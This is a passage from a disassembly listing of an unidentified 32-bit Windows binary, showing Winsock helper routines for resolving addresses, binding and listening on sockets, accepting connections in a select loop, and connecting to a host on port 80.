pop ecx
push 1
push offset dword_41E294
call sub_409C9D
pop ecx
pop ecx
loc_404327: ; CODE XREF: sub_4042FB+Aj
mov eax, dword_41E298
pop ebp
retn
sub_4042FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40432E proc near ; CODE XREF: sub_40435B+6p
; sub_4046BC+5Dp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push 0
push 1
push 17h
call ds:dword_417218 ; socket
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jz short loc_404350
push [ebp+var_4]
call sub_4053B1
pop ecx
loc_404350: ; CODE XREF: sub_40432E+17j
xor eax, eax
cmp [ebp+var_4], 0FFFFFFFFh
setnz al
leave
retn
sub_40432E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40435B proc near ; CODE XREF: sub_4083AD:loc_4085D6p
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
call sub_40432E
test eax, eax
jnz short loc_40436E
xor eax, eax
jmp short locret_4043E7
; ---------------------------------------------------------------------------
loc_40436E: ; CODE XREF: sub_40435B+Dj
lea eax, [ebp+var_14]
push eax
call sub_404193
pop ecx
push 1
lea eax, [ebp+var_14]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_404392
xor eax, eax
jmp short locret_4043E7
; ---------------------------------------------------------------------------
loc_404392: ; CODE XREF: sub_40435B+31j
push 0BB8h
push 2
lea eax, [ebp+var_14]
push eax
push offset dword_418A5C
call sub_4050EA
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_C]
call sub_404CBB
pop ecx
cmp [ebp+var_8], 0
jz short loc_4043CB
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_4043CB
mov [ebp+var_18], 1
jmp short loc_4043CF
; ---------------------------------------------------------------------------
loc_4043CB: ; CODE XREF: sub_40435B+5Fj
; sub_40435B+65j
and [ebp+var_18], 0
loc_4043CF: ; CODE XREF: sub_40435B+6Ej
mov eax, [ebp+var_18]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4043E4
push [ebp+var_8]
call sub_4053B1
pop ecx
loc_4043E4: ; CODE XREF: sub_40435B+7Ej
mov eax, [ebp+var_4]
locret_4043E7: ; CODE XREF: sub_40435B+11j
; sub_40435B+35j
leave
retn
sub_40435B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4043E9 proc near ; CODE XREF: sub_408B30:loc_408C9Fp
; sub_40CA29+231p ...
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20h
push offset dword_418A1C
lea eax, [ebp+var_1C]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_1C]
push eax
call sub_4105FB
pop ecx
push 7D0h
push 2
push offset a80 ; "80"
lea eax, [ebp+var_1C]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_404439
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_404439
mov [ebp+var_20], 1
jmp short loc_40443D
; ---------------------------------------------------------------------------
loc_404439: ; CODE XREF: sub_4043E9+3Fj
; sub_4043E9+45j
and [ebp+var_20], 0
loc_40443D: ; CODE XREF: sub_4043E9+4Ej
mov eax, [ebp+var_20]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_404452
push [ebp+var_8]
call sub_4053B1
pop ecx
loc_404452: ; CODE XREF: sub_4043E9+5Ej
mov eax, [ebp+var_4]
leave
retn
sub_4043E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404457 proc near ; CODE XREF: sub_404FE7+AFp
; sub_4050EA+EDp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
xor eax, eax
cmp [ebp+arg_4], 0
setz al
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push [ebp+arg_0]
call ds:dword_417214 ; ioctlsocket
leave
retn
sub_404457 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40447B proc near ; CODE XREF: sub_40732D+22Ep
; sub_40732D+296p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push 4004667Fh
push [ebp+arg_0]
call ds:dword_417214 ; ioctlsocket
xor eax, eax
cmp [ebp+var_4], 0
setnz al
leave
retn
sub_40447B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40449C proc near ; CODE XREF: sub_40D871+5A1p
; sub_411DC5+65p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 84h
mov [ebp+var_84], 80h
lea eax, [ebp+var_84]
push eax
lea eax, [ebp+var_80]
push eax
push [ebp+arg_0]
call ds:dword_417240 ; getsockname
cmp eax, 0FFFFFFFFh
jnz short loc_4044CC
xor eax, eax
jmp short locret_4044F5
; ---------------------------------------------------------------------------
loc_4044CC: ; CODE XREF: sub_40449C+2Aj
push 2
push 0
push 0
push 100h
push [ebp+arg_4]
push [ebp+var_84]
lea eax, [ebp+var_80]
push eax
call dword_41DE88 ; getnameinfo
test eax, eax
jz short loc_4044F2
xor eax, eax
jmp short locret_4044F5
; ---------------------------------------------------------------------------
loc_4044F2: ; CODE XREF: sub_40449C+50j
push 1
pop eax
locret_4044F5: ; CODE XREF: sub_40449C+2Ej
; sub_40449C+54j
leave
retn
sub_40449C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044F7 proc near ; CODE XREF: sub_40732D+DDp
; sub_4129CA+29p ...
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 84h
mov [ebp+var_84], 80h
lea eax, [ebp+var_84]
push eax
lea eax, [ebp+var_80]
push eax
push [ebp+arg_0]
call ds:dword_417210 ; getpeername
cmp eax, 0FFFFFFFFh
jnz short loc_404527
xor eax, eax
jmp short locret_404550
; ---------------------------------------------------------------------------
loc_404527: ; CODE XREF: sub_4044F7+2Aj
push 2
push 0
push 0
push 100h
push [ebp+arg_4]
push [ebp+var_84]
lea eax, [ebp+var_80]
push eax
call dword_41DE88 ; getnameinfo
test eax, eax
jz short loc_40454D
xor eax, eax
jmp short locret_404550
; ---------------------------------------------------------------------------
loc_40454D: ; CODE XREF: sub_4044F7+50j
push 1
pop eax
locret_404550: ; CODE XREF: sub_4044F7+2Ej
; sub_4044F7+54j
leave
retn
sub_4044F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404552 proc near ; CODE XREF: sub_41331E+A6p
; sub_415F69+256p
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 88h
mov [ebp+var_88], 80h
lea eax, [ebp+var_88]
push eax
lea eax, [ebp+var_80]
push eax
push [ebp+arg_0]
call ds:dword_417240 ; getsockname
cmp eax, 0FFFFFFFFh
jnz short loc_404582
xor eax, eax
jmp short locret_4045B0
; ---------------------------------------------------------------------------
loc_404582: ; CODE XREF: sub_404552+2Aj
lea eax, [ebp+var_80]
mov [ebp+var_84], eax
push 0Ah
push [ebp+arg_4]
mov eax, [ebp+var_84]
mov ax, [eax+2]
push eax
call ds:dword_417238 ; htons
movzx eax, ax
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
push 1
pop eax
locret_4045B0: ; CODE XREF: sub_404552+2Ej
leave
retn
sub_404552 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4045B2 proc near ; CODE XREF: sub_4143B0+191p
; sub_415F69+20Ap
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 88h
mov [ebp+var_88], 80h
lea eax, [ebp+var_88]
push eax
lea eax, [ebp+var_80]
push eax
push [ebp+arg_0]
call ds:dword_417210 ; getpeername
cmp eax, 0FFFFFFFFh
jnz short loc_4045E2
xor eax, eax
jmp short locret_404610
; ---------------------------------------------------------------------------
loc_4045E2: ; CODE XREF: sub_4045B2+2Aj
lea eax, [ebp+var_80]
mov [ebp+var_84], eax
push 0Ah
push [ebp+arg_4]
mov eax, [ebp+var_84]
mov ax, [eax+2]
push eax
call ds:dword_417238 ; htons
movzx eax, ax
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
push 1
pop eax
locret_404610: ; CODE XREF: sub_4045B2+2Ej
leave
retn
sub_4045B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404612 proc near ; CODE XREF: sub_40D871+69Cp
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 40Ch
lea eax, [ebp+var_408]
push eax
push 0
push 0
push [ebp+arg_0]
call dword_41DE84 ; getaddrinfo
test eax, eax
jnz loc_4046B8
mov eax, [ebp+var_408]
mov [ebp+var_40C], eax
loc_404643: ; CODE XREF: sub_404612+98j
cmp [ebp+var_40C], 0
jz short loc_4046AC
push 2
push 0
push 0
push 401h
lea eax, [ebp+var_404]
push eax
mov eax, [ebp+var_40C]
push dword ptr [eax+10h]
mov eax, [ebp+var_40C]
push dword ptr [eax+18h]
call dword_41DE88 ; getnameinfo
test eax, eax
jnz short loc_40469B
mov eax, [ebp+var_40C]
cmp dword ptr [eax+4], 2
jnz short loc_40469B
lea eax, [ebp+var_404]
push eax
push [ebp+arg_4]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov al, 1
jmp short locret_4046BA
; ---------------------------------------------------------------------------
loc_40469B: ; CODE XREF: sub_404612+66j
; sub_404612+72j
mov eax, [ebp+var_40C]
mov eax, [eax+1Ch]
mov [ebp+var_40C], eax
jmp short loc_404643
; ---------------------------------------------------------------------------
loc_4046AC: ; CODE XREF: sub_404612+38j
push [ebp+var_408]
call dword_41DE8C ; freeaddrinfo
loc_4046B8: ; CODE XREF: sub_404612+1Fj
xor al, al
locret_4046BA: ; CODE XREF: sub_404612+87j
leave
retn
sub_404612 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4046BC proc near ; CODE XREF: sub_4020C2+124p
; sub_403DF3+36p ...
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 3Ch
xor eax, eax
test eax, eax
jz short loc_4046D1
mov [ebp+var_3C], 2
jmp short loc_4046D8
; ---------------------------------------------------------------------------
loc_4046D1: ; CODE XREF: sub_4046BC+Aj
mov [ebp+var_3C], 1
loc_4046D8: ; CODE XREF: sub_4046BC+13j
mov eax, [ebp+var_3C]
mov [ebp+var_8], eax
push 1008h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jnz short loc_4046F9
xor eax, eax
jmp locret_40486F
; ---------------------------------------------------------------------------
loc_4046F9: ; CODE XREF: sub_4046BC+34j
mov eax, [ebp+var_2C]
and dword ptr [eax], 0
mov eax, [ebp+var_2C]
and dword ptr [eax+804h], 0
push 20h
push 0
lea eax, [ebp+var_28]
push eax
call sub_416B6A ; memset
add esp, 0Ch
call sub_40432E
neg eax
sbb eax, eax
and al, 0FEh
inc eax
inc eax
mov [ebp+var_24], eax
mov eax, [ebp+var_8]
mov [ebp+var_20], eax
mov [ebp+var_28], 5
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
push 0
call dword_41DE84 ; getaddrinfo
test eax, eax
jz short loc_40475D
push [ebp+var_2C]
call sub_416B4C ; free
pop ecx
xor eax, eax
jmp locret_40486F
; ---------------------------------------------------------------------------
loc_40475D: ; CODE XREF: sub_4046BC+8Fj
mov eax, [ebp+var_30]
mov [ebp+var_4], eax
jmp short loc_40476E
; ---------------------------------------------------------------------------
loc_404765: ; CODE XREF: sub_4046BC+DDj
; sub_4046BC+F1j ...
mov eax, [ebp+var_4]
mov eax, [eax+1Ch]
mov [ebp+var_4], eax
loc_40476E: ; CODE XREF: sub_4046BC+A7j
cmp [ebp+var_4], 0
jz loc_40484E
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
mov eax, [ebp+var_4]
push dword ptr [eax+8]
mov eax, [ebp+var_4]
push dword ptr [eax+4]
call ds:dword_417218 ; socket
mov [ebp+var_34], eax
cmp [ebp+var_34], 0FFFFFFFFh
jnz short loc_40479B
jmp short loc_404765
; ---------------------------------------------------------------------------
loc_40479B: ; CODE XREF: sub_4046BC+DBj
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 2
jz short loc_4047AF
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 17h
jz short loc_4047AF
jmp short loc_404765
; ---------------------------------------------------------------------------
loc_4047AF: ; CODE XREF: sub_4046BC+E6j
; sub_4046BC+EFj
mov eax, [ebp+arg_4]
and eax, 2
test eax, eax
jz short loc_4047D6
mov [ebp+var_38], 1
push 4
lea eax, [ebp+var_38]
push eax
push 4
push 0FFFFh
push [ebp+var_34]
call ds:dword_417204 ; setsockopt
loc_4047D6: ; CODE XREF: sub_4046BC+FBj
mov eax, [ebp+var_4]
push dword ptr [eax+10h]
mov eax, [ebp+var_4]
push dword ptr [eax+18h]
push [ebp+var_34]
call ds:dword_417208 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4047FE
push [ebp+var_34]
call sub_4053B1
pop ecx
jmp loc_404765
; ---------------------------------------------------------------------------
loc_4047FE: ; CODE XREF: sub_4046BC+132j
cmp [ebp+var_8], 1
jnz short loc_404822
push 32h
push [ebp+var_34]
call ds:dword_417268 ; listen
cmp eax, 0FFFFFFFFh
jnz short loc_404822
push [ebp+var_34]
call sub_4053B1
pop ecx
jmp loc_404765
; ---------------------------------------------------------------------------
loc_404822: ; CODE XREF: sub_4046BC+146j
; sub_4046BC+156j
mov eax, [ebp+var_2C]
mov eax, [eax]
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_34]
mov [ecx+eax*4+4], edx
mov eax, [ebp+var_2C]
mov eax, [eax]
inc eax
mov ecx, [ebp+var_2C]
mov [ecx], eax
mov eax, [ebp+var_2C]
cmp dword ptr [eax], 200h
jnz short loc_404849
jmp short loc_40484E
; ---------------------------------------------------------------------------
loc_404849: ; CODE XREF: sub_4046BC+189j
jmp loc_404765
; ---------------------------------------------------------------------------
loc_40484E: ; CODE XREF: sub_4046BC+B6j
; sub_4046BC+18Bj
push [ebp+var_30]
call dword_41DE8C ; freeaddrinfo
mov eax, [ebp+var_2C]
cmp dword ptr [eax], 0
jnz short loc_40486C
push [ebp+var_2C]
call sub_416B4C ; free
pop ecx
xor eax, eax
jmp short locret_40486F
; ---------------------------------------------------------------------------
loc_40486C: ; CODE XREF: sub_4046BC+1A1j
mov eax, [ebp+var_2C]
locret_40486F: ; CODE XREF: sub_4046BC+38j
; sub_4046BC+9Cj ...
leave
retn
sub_4046BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404871 proc near ; CODE XREF: sub_411BBC+B0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40488F
xor eax, eax
jmp short locret_4048ED
; ---------------------------------------------------------------------------
loc_40488F: ; CODE XREF: sub_404871+18j
mov eax, [ebp+var_4]
mov eax, [eax]
mov ecx, [ebp+arg_0]
add eax, [ecx]
cmp eax, 200h
jbe short loc_4048AD
push [ebp+var_4]
call sub_404CBB
pop ecx
xor eax, eax
jmp short locret_4048ED
; ---------------------------------------------------------------------------
loc_4048AD: ; CODE XREF: sub_404871+2Dj
mov eax, [ebp+var_4]
mov eax, [eax]
shl eax, 2
push eax
mov eax, [ebp+var_4]
add eax, 4
push eax
mov eax, [ebp+arg_0]
mov eax, [eax]
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax*4+4]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_0]
mov eax, [eax]
mov ecx, [ebp+var_4]
add eax, [ecx]
mov ecx, [ebp+arg_0]
mov [ecx], eax
push [ebp+var_4]
call sub_416B4C ; free
pop ecx
push 1
pop eax
locret_4048ED: ; CODE XREF: sub_404871+1Cj
; sub_404871+3Aj
leave
retn
sub_404871 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4048EF proc near ; CODE XREF: sub_4020C2+22Ep
; sub_403DF3+8Dp ...
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0A8h
push esi
mov [ebp+var_4], 80h
and [ebp+var_8C], 0
jmp short loc_404916
; ---------------------------------------------------------------------------
loc_404909: ; CODE XREF: sub_4048EF+133j
; sub_4048EF:loc_404A32j
mov eax, [ebp+var_8C]
inc eax
mov [ebp+var_8C], eax
loc_404916: ; CODE XREF: sub_4048EF+18j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8C]
cmp ecx, [eax]
jnb loc_404A37
mov eax, [ebp+arg_0]
add eax, 804h
push eax
mov eax, [ebp+var_8C]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
call sub_416E30 ; __WSAFDIsSet
test eax, eax
jz loc_404A32
loc_40494A: ; CODE XREF: sub_4048EF+100j
and [ebp+var_9C], 0
jmp short loc_404960
; ---------------------------------------------------------------------------
loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j
mov eax, [ebp+var_9C]
inc eax
mov [ebp+var_9C], eax
loc_404960: ; CODE XREF: sub_4048EF+62j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_9C]
cmp ecx, [eax+804h]
jnb short loc_4049EB
mov eax, [ebp+var_9C]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8C]
mov esi, [ebp+arg_0]
mov eax, [ecx+eax*4+808h]
cmp eax, [esi+edx*4+4]
jnz short loc_4049E6
loc_404990: ; CODE XREF: sub_4048EF+E0j
mov eax, [ebp+arg_0]
mov eax, [eax+804h]
dec eax
cmp [ebp+var_9C], eax
jnb short loc_4049D1
mov eax, [ebp+var_9C]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_9C]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4+80Ch]
mov [ecx+eax*4+808h], edx
mov eax, [ebp+var_9C]
inc eax
mov [ebp+var_9C], eax
jmp short loc_404990
; ---------------------------------------------------------------------------
loc_4049D1: ; CODE XREF: sub_4048EF+B1j
mov eax, [ebp+arg_0]
mov eax, [eax+804h]
dec eax
mov ecx, [ebp+arg_0]
mov [ecx+804h], eax
jmp short loc_4049EB
; ---------------------------------------------------------------------------
loc_4049E6: ; CODE XREF: sub_4048EF+9Fj
jmp loc_404953
; ---------------------------------------------------------------------------
loc_4049EB: ; CODE XREF: sub_4048EF+80j
; sub_4048EF+F5j
xor eax, eax
test eax, eax
jnz loc_40494A
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_84]
push eax
mov eax, [ebp+var_8C]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
call ds:dword_4171FC ; accept
mov [ebp+var_98], eax
cmp [ebp+var_98], 0FFFFFFFFh
jnz short loc_404A27
jmp loc_404909
; ---------------------------------------------------------------------------
loc_404A27: ; CODE XREF: sub_4048EF+131j
mov eax, [ebp+var_98]
jmp loc_404CB8
; ---------------------------------------------------------------------------
loc_404A32: ; CODE XREF: sub_4048EF+55j
jmp loc_404909
; ---------------------------------------------------------------------------
loc_404A37: ; CODE XREF: sub_4048EF+32j
mov eax, [ebp+arg_0]
and dword ptr [eax+804h], 0
and [ebp+var_8C], 0
jmp short loc_404A57
; ---------------------------------------------------------------------------
loc_404A4A: ; CODE XREF: sub_4048EF+21Dj
mov eax, [ebp+var_8C]
inc eax
mov [ebp+var_8C], eax
loc_404A57: ; CODE XREF: sub_4048EF+159j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8C]
cmp ecx, [eax]
jnb loc_404B11
loc_404A68: ; CODE XREF: sub_4048EF+217j
and [ebp+var_A0], 0
jmp short loc_404A7E
; ---------------------------------------------------------------------------
loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j
mov eax, [ebp+var_A0]
inc eax
mov [ebp+var_A0], eax
loc_404A7E: ; CODE XREF: sub_4048EF+180j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_A0]
cmp ecx, [eax+804h]
jnb short loc_404AB2
mov eax, [ebp+var_A0]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8C]
mov esi, [ebp+arg_0]
mov eax, [ecx+eax*4+808h]
cmp eax, [esi+edx*4+4]
jnz short loc_404AB0
jmp short loc_404AB2
; ---------------------------------------------------------------------------
loc_404AB0: ; CODE XREF: sub_4048EF+1BDj
jmp short loc_404A71
; ---------------------------------------------------------------------------
loc_404AB2: ; CODE XREF: sub_4048EF+19Ej
; sub_4048EF+1BFj
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_A0]
cmp ecx, [eax+804h]
jnz short loc_404B02
mov eax, [ebp+arg_0]
cmp dword ptr [eax+804h], 200h
jnb short loc_404B02
mov eax, [ebp+var_A0]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8C]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4+4]
mov [ecx+eax*4+808h], edx
mov eax, [ebp+arg_0]
mov eax, [eax+804h]
inc eax
mov ecx, [ebp+arg_0]
mov [ecx+804h], eax
loc_404B02: ; CODE XREF: sub_4048EF+1D2j
; sub_4048EF+1E1j
xor eax, eax
test eax, eax
jnz loc_404A68
jmp loc_404A4A
; ---------------------------------------------------------------------------
loc_404B11: ; CODE XREF: sub_4048EF+173j
mov eax, [ebp+arg_4]
xor edx, edx
mov ecx, 3E8h
div ecx
mov [ebp+var_94], eax
mov eax, [ebp+arg_4]
xor edx, edx
mov ecx, 3E8h
div ecx
imul edx, 3E8h
mov [ebp+var_90], edx
lea eax, [ebp+var_94]
push eax
push 0
push 0
mov eax, [ebp+arg_0]
add eax, 804h
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call ds:dword_41722C ; select
mov [ebp+var_88], eax
cmp [ebp+var_88], 0
jnz short loc_404B71
or eax, 0FFFFFFFFh
jmp loc_404CB8
; ---------------------------------------------------------------------------
loc_404B71: ; CODE XREF: sub_4048EF+278j
cmp [ebp+var_88], 0FFFFFFFFh
jnz short loc_404B81
xor eax, eax
jmp loc_404CB8
; ---------------------------------------------------------------------------
loc_404B81: ; CODE XREF: sub_4048EF+289j
and [ebp+var_8C], 0
jmp short loc_404B97
; ---------------------------------------------------------------------------
loc_404B8A: ; CODE XREF: sub_4048EF+3B4j
; sub_4048EF:loc_404CB0j
mov eax, [ebp+var_8C]
inc eax
mov [ebp+var_8C], eax
loc_404B97: ; CODE XREF: sub_4048EF+299j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8C]
cmp ecx, [eax]
jnb loc_404CB5
mov eax, [ebp+arg_0]
add eax, 804h
push eax
mov eax, [ebp+var_8C]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
call sub_416E30 ; __WSAFDIsSet
test eax, eax
jz loc_404CB0
loc_404BCB: ; CODE XREF: sub_4048EF+381j
and [ebp+var_A8], 0
jmp short loc_404BE1
; ---------------------------------------------------------------------------
loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j
mov eax, [ebp+var_A8]
inc eax
mov [ebp+var_A8], eax
loc_404BE1: ; CODE XREF: sub_4048EF+2E3j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_A8]
cmp ecx, [eax+804h]
jnb short loc_404C6C
mov eax, [ebp+var_A8]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8C]
mov esi, [ebp+arg_0]
mov eax, [ecx+eax*4+808h]
cmp eax, [esi+edx*4+4]
jnz short loc_404C67
loc_404C11: ; CODE XREF: sub_4048EF+361j
mov eax, [ebp+arg_0]
mov eax, [eax+804h]
dec eax
cmp [ebp+var_A8], eax
jnb short loc_404C52
mov eax, [ebp+var_A8]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_A8]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4+80Ch]
mov [ecx+eax*4+808h], edx
mov eax, [ebp+var_A8]
inc eax
mov [ebp+var_A8], eax
jmp short loc_404C11
; ---------------------------------------------------------------------------
loc_404C52: ; CODE XREF: sub_4048EF+332j
mov eax, [ebp+arg_0]
mov eax, [eax+804h]
dec eax
mov ecx, [ebp+arg_0]
mov [ecx+804h], eax
jmp short loc_404C6C
; ---------------------------------------------------------------------------
loc_404C67: ; CODE XREF: sub_4048EF+320j
jmp loc_404BD4
; ---------------------------------------------------------------------------
loc_404C6C: ; CODE XREF: sub_4048EF+301j
; sub_4048EF+376j
xor eax, eax
test eax, eax
jnz loc_404BCB
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_84]
push eax
mov eax, [ebp+var_8C]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
call ds:dword_4171FC ; accept
mov [ebp+var_A4], eax
cmp [ebp+var_A4], 0FFFFFFFFh
jnz short loc_404CA8
jmp loc_404B8A
; ---------------------------------------------------------------------------
loc_404CA8: ; CODE XREF: sub_4048EF+3B2j
mov eax, [ebp+var_A4]
jmp short loc_404CB8
; ---------------------------------------------------------------------------
loc_404CB0: ; CODE XREF: sub_4048EF+2D6j
jmp loc_404B8A
; ---------------------------------------------------------------------------
loc_404CB5: ; CODE XREF: sub_4048EF+2B3j
or eax, 0FFFFFFFFh
loc_404CB8: ; CODE XREF: sub_4048EF+13Ej
; sub_4048EF+27Dj ...
pop esi
leave
retn
sub_4048EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404CBB proc near ; CODE XREF: sub_4020C2+175p
; sub_4020C2+25Fp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_404CCC
; ---------------------------------------------------------------------------
loc_404CC5: ; CODE XREF: sub_404CBB+3Ej
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_404CCC: ; CODE XREF: sub_404CBB+8j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
cmp ecx, [eax]
jnb short loc_404CFB
cmp dword_41DE38, 0
jz short loc_404CE9
mov eax, [ebp+arg_0]
cmp dword ptr [eax], 64h
jbe short loc_404CE9
jmp short loc_404CFB
; ---------------------------------------------------------------------------
loc_404CE9: ; CODE XREF: sub_404CBB+22j
; sub_404CBB+2Aj
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
call sub_4053B1
pop ecx
jmp short loc_404CC5
; ---------------------------------------------------------------------------
loc_404CFB: ; CODE XREF: sub_404CBB+19j
; sub_404CBB+2Cj
mov eax, [ebp+arg_0]
and dword ptr [eax+804h], 0
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
leave
retn
sub_404CBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D10 proc near ; CODE XREF: sub_41349C+1B7p
; sub_4143B0+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 200h
jbe short loc_404D21
xor eax, eax
jmp short locret_404D4B
; ---------------------------------------------------------------------------
loc_404D21: ; CODE XREF: sub_404D10+Bj
push 1010h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_404D39
xor eax, eax
jmp short locret_404D4B
; ---------------------------------------------------------------------------
loc_404D39: ; CODE XREF: sub_404D10+23j
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov eax, [ebp+var_4]
and dword ptr [eax+4], 0
mov eax, [ebp+var_4]
locret_404D4B: ; CODE XREF: sub_404D10+Fj
; sub_404D10+27j
leave
retn
sub_404D10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D4D proc near ; CODE XREF: sub_41349C+417p
; sub_4143B0+109p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
mov eax, [eax+4]
cmp eax, [ecx]
jnz short loc_404D6A
push [ebp+arg_0]
call sub_4053B1
pop ecx
